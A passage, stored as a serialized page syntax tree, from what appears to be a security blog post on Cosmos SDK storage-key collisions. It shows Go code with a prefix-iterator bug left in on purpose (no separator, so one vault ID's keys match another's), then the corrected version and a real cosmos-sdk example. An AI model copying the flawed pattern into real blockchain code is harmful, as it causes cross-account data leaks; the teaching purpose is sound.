values",{"type":23,"tag":230,"props":90168,"children":90169},{"style":268},[90170],{"type":29,"value":78195},{"type":23,"tag":230,"props":90172,"children":90173},{"style":256},[90174],{"type":29,"value":51441},{"type":23,"tag":230,"props":90176,"children":90177},{"style":274},[90178],{"type":29,"value":6069},{"type":23,"tag":230,"props":90180,"children":90181},{"style":676},[90182],{"type":29,"value":86931},{"type":23,"tag":230,"props":90184,"children":90185},{"style":274},[90186],{"type":29,"value":17735},{"type":23,"tag":230,"props":90188,"children":90189},{"style":256},[90190],{"type":29,"value":68878},{"type":23,"tag":230,"props":90192,"children":90193},{"style":274},[90194],{"type":29,"value":6069},{"type":23,"tag":230,"props":90196,"children":90197},{"style":676},[90198],{"type":29,"value":86948},{"type":23,"tag":230,"props":90200,"children":90201},{"style":274},[90202],{"type":29,"value":17735},{"type":23,"tag":230,"props":90204,"children":90205},{"style":676},[90206],{"type":29,"value":90154},{"type":23,"tag":230,"props":90208,"children":90209},{"style":274},[90210],{"type":29,"value":79876},{"type":23,"tag":230,"props":90212,"children":90213},{"class":232,"line":334},[90214,90219,90223,90227,90231,90236],{"type":23,"tag":230,"props":90215,"children":90216},{"style":262},[90217],{"type":29,"value":90218},"    i",{"type":23,"tag":230,"props":90220,"children":90221},{"style":268},[90222],{"type":29,"value":78195},{"type":23,"tag":230,"props":90224,"children":90225},{"style":262},[90226],{"type":29,"value":80420},{"type":23,"tag":230,"props":90228,"children":90229},{"style":274},[90230],{"type":29,"value":312},{"type":23,"tag":230,"props":90232,"children":90233},{"style":294},[90234],{"type":29,"value":90235},"KVStorePrefixIterator",{"type":23,"tag":230,"props":90237,"children":90238},{"style":274},[90239],{"type":29,"value":619},{"type":23,"tag":230,"props":90241,"children":90242},{"class":232,"line":371},[90243,90248],{"type":23,"tag":230,"props":90244,"children":90245},{"style":262},[90246],{"type":29,"value":90247},"        kvStore",{"type":23,"tag":230,"props":90249,"children":90250},{"style":274},[90251],{"type":29,"value":388},{"type":23,"tag":230,"props":90253,"children":90254},{"class":232,"line":391},[90255,90260,90264,90268,90272,90277,90281,90286,90290,90294],{"type":23,"tag":230,"props":90256,"children":90257},{"style":262},[90258],{"type":29,"value":90259},"        fmt",{"type":23,"tag":230,"props":90261,"children":90262},{"style":274},[90263],{"type":29,"value":312},{"type":23,"tag":230,"props":90265,"children":90266},{"style":294},[90267],{"type":29,"value":87002},{"type":23,"tag":230,"props":90269,"children":90270},{"style":274},[90271],{"type":29,"value":302},{"type":23,"tag":230,"props":90273,"children":90274},{"style":380},[90275],{"type":29,"value":90276},"\"%s%d\"",{"type":23,"tag":230,"props":90278,"children":90279},{"style":274},[90280],{"type":29,"value":684},{"type":23,"tag":230,"props":90282,"children":90283},{"style":262},[90284],{"type":29,"value":90285},"PositionMapPrefix",{"type":23,"tag":230,"props":90287,"children":90288},{"style":274},[90289],{"type":29,"value":684},{"type":23,"tag":230,"props":90291,"children":90292},{"style":262},[90293],{"type":29,"value":90070},{"type":23,"tag":230,"props":90295,"children":90296},{"style":274},[90297],{"type":29,"value":4516},{"type":23,"tag":230,"props":90299,"children":90300},{"class":232,"line":400},[90301],{"type":23,"tag":230,"props":90302,"children":90303},{"style":274},[90304],{"type":29,"value":26225},{"type":23,"tag":230,"props":90306,"children":90307},{"class":232,"line":444},[90308,90312,90317,90321,90325,90330,90334,90338,90342,90347],{"type":23,"tag":230,"props":90309,"children":90310},{"style":866},[90311],{"type":29,"value":5371},{"type":23,"tag":230,"props":90313,"children":90314},{"style":274},[90315],{"type":29,"value":90316}," ; ",{"type":23,"tag":230,"props":90318,"children":90319},{"style":262},[90320],{"type":29,"value":6074},{"type":23,"tag":230,"props":90322,"children":90323},{"style":274},[90324],{"type":29,"value":312},{"type":23,"tag":230,"props":90326,"children":90327},{"style":294},[90328],{"type":29,"value":90329},"Valid",{"type":23,"tag":230,"props":90331,"children":90332},{"style":274},[90333],{"type":29,"value":30755},{"type":23,"tag":230,"props":90335,"children":90336},{"style":262},[90337],{"type":29,"value":6074},{"type":23,"tag":230,"props":90339,"children":90340},{"style":274},[90341],{"type":29,"value":312},{"type":23,"tag":230,"props":90343,"children":90344},{"style":294},[90345],{"type":29,"value":90346},"Next",{"type":23,"tag":230,"props":90348,"children":90349},{"style":274},[90350],{"type":29,"value":18061},{"type":23,"tag":230,"props":90352,"children":90353},{"class":232,"line":453},[90354,90359,90363,90368,90372,90376,90380,90384,90388,90393,90397,90402],{"type":23,"tag":230,"props":90355,"children":90356},{"style":262},[90357],{"type":29,"value":90358},"        k",{"type":23,"tag":230,"props":90360,"children":90361},{"style":268},[90362],{"type":29,"value":78195},{"type":23,"tag":230,"props":90364,"children":90365},{"style":262},[90366],{"type":29,"value":90367}," strings",{"type":23,"tag":230,"props":90369,"children":90370},{"style":274},[90371],{"type":29,"value":312},{"type":23,"tag":230,"props":90373,"children":90374},{"style":294},[90375],{"type":29,"value":71819},{"type":23,"tag":230,"props":90377,"children":90378},{"style":274},[90379],{"type":29,"value":302},{"type":23,"tag":230,"props":90381,"children":90382},{"style":262},[90383],{"type":29,"value":6074},{"type":23,"tag":230,"props":90385,"children":90386},{"style":274},[90387],{"type":29,"value":312},{"type":23,"tag":230,"props":90389,"children":90390},{"style":294},[90391],{"type":29,"value":90392},"Key",{"type":23,"tag":230,"props":90394,"children":90395},{"style":274},[90396],{"type":29,"value":1172},{"type":23,"tag":230,"props":90398,"children":90399},{"style":262},[90400],{"type":29,"value":90401},"Seperator",{"type":23,"tag":230,"props":90403,"children":90404},{"style":274},[90405],{"type":29,"value":4516},{"type":23,"tag":230,"props":90407,"children":90408},{"class":232,"line":462},[90409],{"type":23,"tag":230,"props":90410,"children":90411},{"emptyLinePlaceholder":18},[90412],{"type":29,"value":459},{"type":23,"tag":230,"props":90414,"children":90415},{"class":232,"line":471},[90416,90421,90425,90429,90434,90438,90442,90446,90450,90455,90459,90464,90468,90472],{"type":23,"tag":230,"props":90417,"children":90418},{"style":262},[90419],{"type":29,"value":90420},"        username",{"type":23,"tag":230,"props":90422,"children":90423},{"style":268},[90424],{"type":29,"value":78195},{"type":23,"tag":230,"props":90426,"children":90427},{"style":294},[90428],{"type":29,"value":87343},{"type":23,"tag":230,"props":90430,"children":90431},{"style":274},[90432],{"type":29,"value":90433},"([]",{"type":23,"tag":230,"props":90435,"children":90436},{"style":676},[90437],{"type":29,"value":86544},{"type":23,"tag":230,"props":90439,"children":90440},{"style":274},[90441],{"type":29,"value":684},{"type":23,"tag":230,"props":90443,"children":90444},{"style":262},[90445],{"type":29,"value":87416},{"type":23,"tag":230,"props":90447,"children":90448},{"style":274},[90449],{"type":29,"value":312},{"type":23,"tag":230,"props":90451,"children":90452},{"style":294},[90453],{"type":29,"value":90454},"DecodedLen",{"type":23,"tag":230,"props":90456,"children":90457},{"style":274},[90458],{"type":29,"value":302},{"type":23,"tag":230,"props":90460,"children":90461},{"style":262},[90462],{"type":29,"value":90463},"k",{"type":23,"tag":230,"props":90465,"children":90466},{"style":274},[90467],{"type":29,"value":6069},{"type":23,"tag":230,"props":90469,"children":90470},{"style":5149},[90471],{"type":29,"value":6358},{"type":23,"tag":230,"props":90473,"children":90474},{"style":274},[90475],{"type":29,"value":90476},"]))\n",{"type":23,"tag":230,"props":90478,"children":90479},{"class":232,"line":500},[90480,90484,90488,90492,90496,90501,90505,90510,90514,90518,90522,90526,90530,90534],{"type":23,"tag":230,"props":90481,"children":90482},{"style":262},[90483],{"type":29,"value":30055},{"type":23,"tag":230,"props":90485,"children":90486},{"style":274},[90487],{"type":29,"value":684},{"type":23,"tag":230,"props":90489,"children":90490},{"style":262},[90491],{"type":29,"value":50192},{"type":23,"tag":230,"props":90493,"children":90494},{"style":268},[90495],{"type":29,"value":78195},{"type":23,"tag":230,"props":90497,"children":90498},{"style":262},[90499],{"type":29,"value":90500}," hex",{"type":23,"tag":230,"props":90502,"children":90503},{"style":274},[90504],{"type":29,"value":312},{"type":23,"tag":230,"props":90506,"children":90507},{"style":294},[90508],{"type":29,"value":90509},"Decode",{"type":23,"tag":230,"props":90511,"children":90512},{"style":274},[90513],{"type":29,"value":302},{"type":23,"tag":230,"props":90515,"children":90516},{"style":262},[90517],{"type":29,"value":87250},{"type":23,"tag":230,"props":90519,"children":90520},{"style":274},[90521],{"type":29,"value":684},{"type":23,"tag":230,"props":90523,"children":90524},{"style":262},[90525],{"type":29,"value":90463},{"type":23,"tag":230,"props":90527,"children":90528},{"style":274},[90529],{"type":29,"value":6069},{"type":23,"tag":230,"props":90531,"children":90532},{"style":5149},[90533],{"type":29,"value":6358},{"type":23,"tag":230,"props":90535,"children":90536},{"style":274},[90537],{"type":29,"value":57214},{"type":23,"tag":230,"props":90539,"children":90540},{"class":232,"line":514},[90541,90545,90549,90553,90557],{"type":23,"tag":230,"props":90542,"children":90543},{"style":866},[90544],{"type":29,"value":5611},{"type":23,"tag":230,"props":90546,"children":90547},{"style":262},[90548],{"type":29,"value":50293},{"type":23,"tag":230,"props":90550,"children":90551},{"style":268},[90552],{"type":29,"value":66162},{"type":23,"tag":230,"props":90554,"children":90555},{"style":256},[90556],{"type":29,"value":83697},{"type":23,"tag":230,"props":90558,"children":90559},{"style":274},[90560],{"type":29,"value":277},{"type":23,"tag":230,"props":90562,"children":90563},{"class":232,"line":897},[90564,90568,90572,90576],{"type":23,"tag":230,"props":90565,"children":90566},{"style":866},[90567],{"type":29,"value":80855},{"type":23,"tag":230,"props":90569,"children":90570},{"style":256},[90571],{"type":29,"value":83697},{"type":23,"tag":230,"props":90573,"children":90574},{"style":274},[90575],{"type":29,"value":684},{"type":23,"tag":230,"props":90577,"children":90578},{"style":262},[90579],{"type":29,"value":85418},{"type":23,"tag":230,"props":90581,"children":90582},{"class":232,"line":960},[90583],{"type":23,"tag":230,"props":90584,"children":90585},{"style":274},[90586],{"type":29,"value":5686},{"type":23,"tag":230,"props":90588,"children":90589},{"class":232,"line":969},[90590],{"type":23,"tag":230,"props":90591,"children":90592},{"emptyLinePlaceholder":18},[90593],{"type":29,"value":459},{"type":23,"tag":230,"props":90595,"children":90596},{"class":232,"line":4526},[90597,90602,90606,90610,90614,90618,90622,90626,90630,90634,90638,90642,90646,90650],{"type":23,"tag":230,"props":90598,"children":90599},{"style":262},[90600],{"type":29,"value":90601},"        positionName",{"type":23,"tag":230,"props":90603,"children":90604},{"style":268},[90605],{"type":29,"value":78195},{"type":23,"tag":230,"props":90607,"children":90608},{"style":294},[90609],{"type":29,"value":87343},{"type":23,"tag":230,"props":90611,"children":90612},{"style":274},[90613],{"type":29,"value":90433},{"type":23,"tag":230,"props":90615,"children":90616},{"style":676},[90617],{"type":29,"value":86544},{"type":23,"tag":230,"props":90619,"children":90620},{"style":274},[90621],{"type":29,"value":684},{"type":23,"tag":230,"props":90623,"children":90624},{"style":262},[90625],{"type":29,"value":87416},{"type":23,"tag":230,"props":90627,"children":90628},{"style":274},[90629],{"type":29,"value":312},{"type":23,"tag":230,"props":90631,"children":90632},{"style":294},[90633],{"type":29,"value":90454},{"type":23,"tag":230,"props":90635,"children":90636},{"style":274},[90637],{"type":29,"value":302},{"type":23,"tag":230,"props":90639,"children":90640},{"style":262},[90641],{"type":29,"value":90463},{"type":23,"tag":230,"props":90643,"children":90644},{"style":274},[90645],{"type":29,"value":6069},{"type":23,"tag":230,"props":90647,"children":90648},{"style":5149},[90649],{"type":29,"value":6348},{"type":23,"tag":230,"props":90651,"children":90652},{"style":274},[90653],{"type":29,"value":90476},{"type":23,"tag":230,"props":90655,"children":90656},{"class":232,"line":4534},[90657,90661,90665,90669,90673,90677,90681,90685,90689,90693,90697,90701,90705,90709],{"type":23,"tag":230,"props":90658,"children":90659},{"style":262},[90660],{"type":29,"value":30055},{"type":23,"tag":230,"props":90662,"children":90663},{"style":274},[90664],{"type":29,"value":684},{"type":23,"tag":230,"props":90666,"children":90667},{"style":262},[90668],{"type":29,"value":50192},{"type":23,"tag":230,"props":90670,"children":90671},{"style":268},[90672],{"type":29,"value":78195},{"type":23,"tag":230,"props":90674,"children":90675},{"style":262},[90676],{"type":29,"value":90500},{"type":23,"tag":230,"props":90678,"children":90679},{"style":274},[90680],{"type":29,"value":312},{"type":23,"tag":230,"props":90682,"children":90683},{"style":294},[90684],{"type":29,"value":90509},{"type":23,"tag":230,"props":90686,"children":90687},{"style":274},[90688],{"type":29,"value":302},{"type":23,"tag":230,"props":90690,"children":90691},{"style":262},[90692],{"type":29,"value":87519},{"type":23,"tag":230,"props":90694,"children":90695},{"style":274},[90696],{"type":29,"value":684},{"type":23,"tag":230,"props":90698,"children":90699},{"style":262},[90700],{"type":29,"value":90463},{"type":23,"tag":230,"props":90702,"children":90703},{"style":274},[90704],{"type":29,"value":6069},{"type":23,"tag":230,"props":90706,"children":90707},{"style":5149},[90708],{"type":29,"value":6348},{"type":23,"tag":230,"props":90710,"children":90711},{"style":274},[90712],{"type":29,"value":57214},{"type":23,"tag":230,"props":90714,"children":90715},{"class":232,"line":4542},[90716,90720,90724,90728,90732],{"type":23,"tag":230,"props":90717,"children":90718},{"style":866},[90719],{"type":29,"value":5611},{"type":23,"tag":230,"props":90721,"children":90722},{"style":262},[90723],{"type":29,"value":50293},{"type":23,"tag":230,"props":90725,"children":90726},{"style":268},[90727],{"type":29,"value":66162},{"type":23,"tag":230,"props":90729,"children":90730},{"style":256},[90731],{"type":29,"value":83697},{"type":23,"tag":230,"props":90733,"children":90734},{"style":274},[90735],{"type":29,"value":277},{"type":23,"tag":230,"props":90737,"children":90738},{"class":232,"line":4559},[90739,90743,90747,90751],{"type":23,"tag":230,"props":90740,"children":90741},{"style":866},[90742],{"type":29,"value":80855},{"type":23,"tag":230,"props":90744,"children":90745},{"style":256},[90746],{"type":29,"value":83697},{"type":23,"tag":230,"props":90748,"children":90749},{"style":274},[90750],{"type":29,"value":684},{"type":23,"tag":230,"props":90752,"children":90753},{"style":262},[90754],{"type":29,"value":85418},{"type":23,"tag":230,"props":90756,"children":90757},{"class":232,"line":4587},[90758],{"type":23,"tag":230,"props":90759,"children":90760},{"style":274},[90761],{"type":29,"value":5686},{"type":23,"tag":230,"props":90763,"children":90764},{"class":232,"line":4595},[90765],{"type":23,"tag":230,"props":90766,"children":90767},{"emptyLinePlaceholder":18},[90768],{"type":29,"value":459},{"type":23,"tag":230,"props":90770,"children":90771},{"class":232,"line":4619},[90772,90776,90780,90784,90788,90792,90797,90801,90805,90810,90814,90818],{"type":23,"tag":230,"props":90773,"children":90774},{"style":866},[90775],{"type":29,"value":5611},{"type":23,"tag":230,"props":90777,"children":90778},{"style":262},[90779],{"type":29,"value":64417},{"type":23,"tag":230,"props":90781,"children":90782},{"style":274},[90783],{"type":29,"value":684},{"type":23,"tag":230,"props":90785,"children":90786},{"style":262},[90787],{"type":29,"value":80546},{"type":23,"tag":230,"props":90789,"children":90790},{"style":268},[90791],{"type":29,"value":78195},{"type":23,"tag":230,"props":90793,"children":90794},{"style":262},[90795],{"type":29,"value":90796}," values",{"type":23,"tag":230,"props":90798,"children":90799},{"style":274},[90800],{"type":29,"value":6069},{"type":23,"tag":230,"props":90802,"children":90803},{"style":262},[90804],{"type":29,"value":87250},{"type":23,"tag":230,"props":90806,"children":90807},{"style":274},[90808],{"type":29,"value":90809},"]; ",{"type":23,"tag":230,"props":90811,"children":90812},{"style":268},[90813],{"type":29,"value":22936},{"type":23,"tag":230,"props":90815,"children":90816},{"style":262},[90817],{"type":29,"value":80546},{"type":23,"tag":230,"props":90819,"children":90820},{"style":274},[90821],{"type":29,"value":277},{"type":23,"tag":230,"props":90823,"children":90824},{"class":232,"line":4627},[90825,90830,90834,90838,90842,90846,90850,90854,90858,90862,90866],{"type":23,"tag":230,"props":90826,"children":90827},{"style":262},[90828],{"type":29,"value":90829},"            values",{"type":23,"tag":230,"props":90831,"children":90832},{"style":274},[90833],{"type":29,"value":6069},{"type":23,"tag":230,"props":90835,"children":90836},{"style":262},[90837],{"type":29,"value":87250},{"type":23,"tag":230,"props":90839,"children":90840},{"style":274},[90841],{"type":29,"value":10997},{"type":23,"tag":230,"props":90843,"children":90844},{"style":268},[90845],{"type":29,"value":863},{"type":23,"tag":230,"props":90847,"children":90848},{"style":294},[90849],{"type":29,"value":87343},{"type":23,"tag":230,"props":90851,"children":90852},{"style":274},[90853],{"type":29,"value":302},{"type":23,"tag":230,"props":90855,"children":90856},{"style":256},[90857],{"type":29,"value":68878},{"type":23,"tag":230,"props":90859,"children":90860},{"style":274},[90861],{"type":29,"value":6069},{"type":23,"tag":230,"props":90863,"children":90864},{"style":676},[90865],{"type":29,"value":86948},{"type":23,"tag":230,"props":90867,"children":90868},{"style":274},[90869],{"type":29,"value":57214},{"type":23,"tag":230,"props":90871,"children":90872},{"class":232,"line":4659},[90873],{"type":23,"tag":230,"props":90874,"children":90875},{"style":274},[90876],{"type":29,"value":5686},{"type":23,"tag":230,"props":90878,"children":90879},{"class":232,"line":4671},[90880],{"type":23,"tag":230,"props":90881,"children":90882},{"emptyLinePlaceholder":18},[90883],{"type":29,"value":459},{"type":23,"tag":230,"props":90885,"children":90886},{"class":232,"line":4688},[90887,90892,90896,90900,90904,90908,90912,90916,90920],{"type":23,"tag":230,"props":90888,"children":90889},{"style":262},[90890],{"type":29,"value":90891},"        values",{"type":23,"tag":230,"props":90893,"children":90894},{"style":274},[90895],{"type":29,"value":6069},{"type":23,"tag":230,"props":90897,"children":90898},{"style":262},[90899],{"type":29,"value":87250},{"type":23,"tag":230,"props":90901,"children":90902},{"style":274},[90903],{"type":29,"value":50730},{"type":23,"tag":230,"props":90905,"children":90906},{"style":262},[90907],{"type":29,"value":87519},{"type":23,"tag":230,"props":90909,"children":90910},{"style":274},[90911],{"type":29,"value":10997},{"type":23,"tag":230,"props":90913,"children":90914},{"style":268},[90915],{"type":29,"value":863},{"type":23,"tag":230,"props":90917,"children":90918},{"style":262},[90919],{"type":29,"value":9761},{"type":23,"tag":230,"props":90921,"children":90922},{"style":274},[90923],{"type":29,"value":277},{"type":23,"tag":230,"props":90925,"children":90926},{"class":232,"line":4701},[90927,90931,90935,90940,90944,90949],{"type":23,"tag":230,"props":90928,"children":90929},{"style":262},[90930],{"type":29,"value":29258},{"type":23,"tag":230,"props":90932,"children":90933},{"style":274},[90934],{"type":29,"value":817},{"type":23,"tag":230,"props":90936,"children":90937},{"style":262},[90938],{"type":29,"value":90939},"iterator",{"type":23,"tag":230,"props":90941,"children":90942},{"style":274},[90943],{"type":29,"value":312},{"type":23,"tag":230,"props":90945,"children":90946},{"style":294},[90947],{"type":29,"value":90948},"Value",{"type":23,"tag":230,"props":90950,"children":90951},{"style":274},[90952],{"type":29,"value":5827},{"type":23,"tag":230,"props":90954,"children":90955},{"class":232,"line":4724},[90956],{"type":23,"tag":230,"props":90957,"children":90958},{"style":274},[90959],{"type":29,"value":5686},{"type":23,"tag":230,"props":90961,"children":90962},{"class":232,"line":4741},[90963],{"type":23,"tag":230,"props":90964,"children":90965},{"style":274},[90966],{"type":29,"value":1552},{"type":23,"tag":230,"props":90968,"children":90969},{"class":232,"line":4759},[90970,90974],{"type":23,"tag":230,"props":90971,"children":90972},{"style":866},[90973],{"type":29,"value":4427},{"type":23,"tag":230,"props":90975,"children":90976},{"style":262},[90977],{"type":29,"value":90978}," values\n",{"type":23,"tag":230,"props":90980,"children":90981},{"class":232,"line":4768},[90982],{"type":23,"tag":230,"props":90983,"children":90984},{"style":274},[90985],{"type":29,"value":975},{"type":23,"tag":32,"props":90987,"children":90988},{},[90989,90991,90997,90998,91004,91006,91011,91013,91018,91020,91025,91027,91033,91035,91041],{"type":29,"value":90990},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":23,"tag":71,"props":90992,"children":90994},{"className":90993},[],[90995],{"type":29,"value":90996},"vaultId = 1",{"type":29,"value":112},{"type":23,"tag":71,"props":90999,"children":91001},{"className":91000},[],[91002],{"type":29,"value":91003},"vaultId = 10",{"type":29,"value":91005}," coexist. If we try to fetch data under ",{"type":23,"tag":71,"props":91007,"children":91009},{"className":91008},[],[91010],{"type":29,"value":90996},{"type":29,"value":91012},", all entries under ",{"type":23,"tag":71,"props":91014,"children":91016},{"className":91015},[],[91017],{"type":29,"value":91003},{"type":29,"value":91019}," will also be returned simply because ",{"type":23,"tag":71,"props":91021,"children":91023},{"className":91022},[],[91024],{"type":29,"value":6348},{"type":29,"value":91026}," is a prefix of ",{"type":23,"tag":71,"props":91028,"children":91030},{"className":91029},[],[91031],{"type":29,"value":91032},"10",{"type":29,"value":91034},". To fix this, we must once again append the ",{"type":23,"tag":71,"props":91036,"children":91038},{"className":91037},[],[91039],{"type":29,"value":91040},"Separator",{"type":29,"value":91042}," to the iterator prefix.",{"type":23,"tag":220,"props":91044,"children":91046},{"code":91045,"language":77943,"meta":7,"className":77944,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[91047],{"type":23,"tag":71,"props":91048,"children":91049},{"__ignoreMap":7},[91050,91077,91089,91142],{"type":23,"tag":230,"props":91051,"children":91052},{"class":232,"line":233},[91053,91057,91061,91065,91069,91073],{"type":23,"tag":230,"props":91054,"children":91055},{"style":262},[91056],{"type":29,"value":6074},{"type":23,"tag":230,"props":91058,"children":91059},{"style":268},[91060],{"type":29,"value":78195},{"type":23,"tag":230,"props":91062,"children":91063},{"style":262},[91064],{"type":29,"value":80420},{"type":23,"tag":230,"props":91066,"children":91067},{"style":274},[91068],{"type":29,"value":312},{"type":23,"tag":230,"props":91070,"children":91071},{"style":294},[91072],{"type":29,"value":90235},{"type":23,"tag":230,"props":91074,"children":91075},{"style":274},[91076],{"type":29,"value":619},{"type":23,"tag":230,"props":91078,"children":91079},{"class":232,"line":243},[91080,91085],{"type":23,"tag":230,"props":91081,"children":91082},{"style":262},[91083],{"type":29,"value":91084},"    kvStore",{"type":23,"tag":230,"props":91086,"children":91087},{"style":274},[91088],{"type":29,"value":388},{"type":23,"tag":230,"props":91090,"children":91091},{"class":232,"line":252},[91092,91097,91101,91105,91109,91114,91118,91122,91126,91130,91134,91138],{"type":23,"tag":230,"props":91093,"children":91094},{"style":262},[91095],{"type":29,"value":91096},"    fmt",{"type":23,"tag":230,"props":91098,"children":91099},{"style":274},[91100],{"type":29,"value":312},{"type":23,"tag":230,"props":91102,"children":91103},{"style":294},[91104],{"type":29,"value":87002},{"type":23,"tag":230,"props":91106,"children":91107},{"style":274},[91108],{"type":29,"value":302},{"type":23,"tag":230,"props":91110,"children":91111},{"style":380},[91112],{"type":29,"value":91113},"\"%s%d%s\"",{"type":23,"tag":230,"props":91115,"children":91116},{"style":274},[91117],{"type":29,"value":684},{"type":23,"tag":230,"props":91119,"children":91120},{"style":262},[91121],{"type":29,"value":90285},{"type":23,"tag":230,"props":91123,"children":91124},{"style":274},[91125],{"type":29,"value":684},{"type":23,"tag":230,"props":91127,"children":91128},{"style":262},[91129],{"type":29,"value":90070},{"type":23,"tag":230,"props":91131,"children":91132},{"style":274},[91133],{"type":29,"value":684},{"type":23,"tag":230,"props":91135,"children":91136},{"style":262},[91137],{"type":29,"value":90401},{"type":23,"tag":230,"props":91139,"children":91140},{"style":274},[91141],{"type":29,"value":331},{"type":23,"tag":230,"props":91143,"children":91144},{"class":232,"line":280},[91145],{"type":23,"tag":230,"props":91146,"children":91147},{"style":274},[91148],{"type":29,"value":4516},{"type":23,"tag":32,"props":91150,"children":91151},{},[91152,91154,91159],{"type":29,"value":91153},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":23,"tag":71,"props":91155,"children":91157},{"className":91156},[],[91158],{"type":29,"value":86756},{"type":29,"value":91160}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":23,"tag":32,"props":91162,"children":91163},{},[91164],{"type":29,"value":91165},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":23,"tag":59,"props":91167,"children":91169},{"id":91168},"real-world-examples-5",[91170],{"type":29,"value":78468},{"type":23,"tag":32,"props":91172,"children":91173},{},[91174,91175,91180,91182,91189,91191,91197],{"type":29,"value":980},{"type":23,"tag":71,"props":91176,"children":91178},{"className":91177},[],[91179],{"type":29,"value":80241},{"type":29,"value":91181}," previously lacked protection against KVStore ",{"type":23,"tag":181,"props":91183,"children":91186},{"href":91184,"rel":91185},"https://github.com/cosmos/cosmos-sdk/pull/9363",[185],[91187],{"type":29,"value":91188},"key collisions",{"type":29,"value":91190},". This prior oversight allowed developers to unintentionally create two ",{"type":23,"tag":71,"props":91192,"children":91194},{"className":91193},[],[91195],{"type":29,"value":91196},"KVStores",{"type":29,"value":91198}," that were not independent of each other.",{"type":23,"tag":32,"props":91200,"children":91201},{},[91202],{"type":23,"tag":181,"props":91203,"children":91206},{"href":91204,"rel":91205},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[185],[91207],{"type":29,"value":78518},{"type":23,"tag":220,"props":91209,"children":91211},{"code":91210,"language":77943,"meta":7,"className":77944,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[91212],{"type":23,"tag":71,"props":91213,"children":91214},{"__ignoreMap":7},[91215,91277,91325,91361,91401,91408,91415,91427],{"type":23,"tag":230,"props":91216,"children":91217},{"class":232,"line":233},[91218,91222,91227,91231,91236,91240,91244,91248,91252,91256,91260,91264,91268,91273],{"type":23,"tag":230,"props":91219,"children":91220},{"style":256},[91221],{"type":29,"value":78079},{"type":23,"tag":230,"props":91223,"children":91224},{"style":294},[91225],{"type":29,"value":91226}," NewKVStoreKeys",{"type":23,"tag":230,"props":91228,"children":91229},{"style":274},[91230],{"type":29,"value":302},{"type":23,"tag":230,"props":91232,"children":91233},{"style":262},[91234],{"type":29,"value":91235},"names",{"type":23,"tag":230,"props":91237,"children":91238},{"style":268},[91239],{"type":29,"value":27606},{"type":23,"tag":230,"props":91241,"children":91242},{"style":676},[91243],{"type":29,"value":1050},{"type":23,"tag":230,"props":91245,"children":91246},{"style":274},[91247],{"type":29,"value":703},{"type":23,"tag":230,"props":91249,"children":91250},{"style":256},[91251],{"type":29,"value":68878},{"type":23,"tag":230,"props":91253,"children":91254},{"style":274},[91255],{"type":29,"value":6069},{"type":23,"tag":230,"props":91257,"children":91258},{"style":676},[91259],{"type":29,"value":1050},{"type":23,"tag":230,"props":91261,"children":91262},{"style":274},[91263],{"type":29,"value":17735},{"type":23,"tag":230,"props":91265,"children":91266},{"style":268},[91267],{"type":29,"value":6909},{"type":23,"tag":230,"props":91269,"children":91270},{"style":676},[91271],{"type":29,"value":91272},"KVStoreKey",{"type":23,"tag":230,"props":91274,"children":91275},{"style":274},[91276],{"type":29,"value":277},{"type":23,"tag":230,"props":91278,"children":91279},{"class":232,"line":243},[91280,91285,91289,91293,91297,91301,91305,91309,91313,91317,91321],{"type":23,"tag":230,"props":91281,"children":91282},{"style":262},[91283],{"type":29,"value":91284},"    keys",{"type":23,"tag":230,"props":91286,"children":91287},{"style":268},[91288],{"type":29,"value":78195},{"type":23,"tag":230,"props":91290,"children":91291},{"style":294},[91292],{"type":29,"value":87343},{"type":23,"tag":230,"props":91294,"children":91295},{"style":274},[91296],{"type":29,"value":302},{"type":23,"tag":230,"props":91298,"children":91299},{"style":256},[91300],{"type":29,"value":68878},{"type":23,"tag":230,"props":91302,"children":91303},{"style":274},[91304],{"type":29,"value":6069},{"type":23,"tag":230,"props":91306,"children":91307},{"style":676},[91308],{"type":29,"value":1050},{"type":23,"tag":230,"props":91310,"children":91311},{"style":274},[91312],{"type":29,"value":17735},{"type":23,"tag":230,"props":91314,"children":91315},{"style":268},[91316],{"type":29,"value":6909},{"type":23,"tag":230,"props":91318,"children":91319},{"style":676},[91320],{"type":29,"value":91272},{"type":23,"tag":230,"props":91322,"children":91323},{"style":274},[91324],{"type":29,"value":4516},{"type":23,"tag":230,"props":91326,"children":91327},{"class":232,"line":252},[91328,91332,91336,91340,91344,91348,91352,91357],{"type":23,"tag":230,"props":91329,"children":91330},{"style":866},[91331],{"type":29,"value":5371},{"type":23,"tag":230,"props":91333,"children":91334},{"style":262},[91335],{"type":29,"value":5376},{"type":23,"tag":230,"props":91337,"children":91338},{"style":274},[91339],{"type":29,"value":684},{"type":23,"tag":230,"props":91341,"children":91342},{"style":262},[91343],{"type":29,"value":50270},{"type":23,"tag":230,"props":91345,"children":91346},{"style":268},[91347],{"type":29,"value":78195},{"type":23,"tag":230,"props":91349,"children":91350},{"style":866},[91351],{"type":29,"value":79178},{"type":23,"tag":230,"props":91353,"children":91354},{"style":262},[91355],{"type":29,"value":91356}," names",{"type":23,"tag":230,"props":91358,"children":91359},{"style":274},[91360],{"type":29,"value":277},{"type":23,"tag":230,"props":91362,"children":91363},{"class":232,"line":280},[91364,91368,91372,91376,91380,91384,91389,91393,91397],{"type":23,"tag":230,"props":91365,"children":91366},{"style":262},[91367],{"type":29,"value":27638},{"type":23,"tag":230,"props":91369,"children":91370},{"style":274},[91371],{"type":29,"value":6069},{"type":23,"tag":230,"props":91373,"children":91374},{"style":262},[91375],{"type":29,"value":50270},{"type":23,"tag":230,"props":91377,"children":91378},{"style":274},[91379],{"type":29,"value":10997},{"type":23,"tag":230,"props":91381,"children":91382},{"style":268},[91383],{"type":29,"value":863},{"type":23,"tag":230,"props":91385,"children":91386},{"style":294},[91387],{"type":29,"value":91388}," 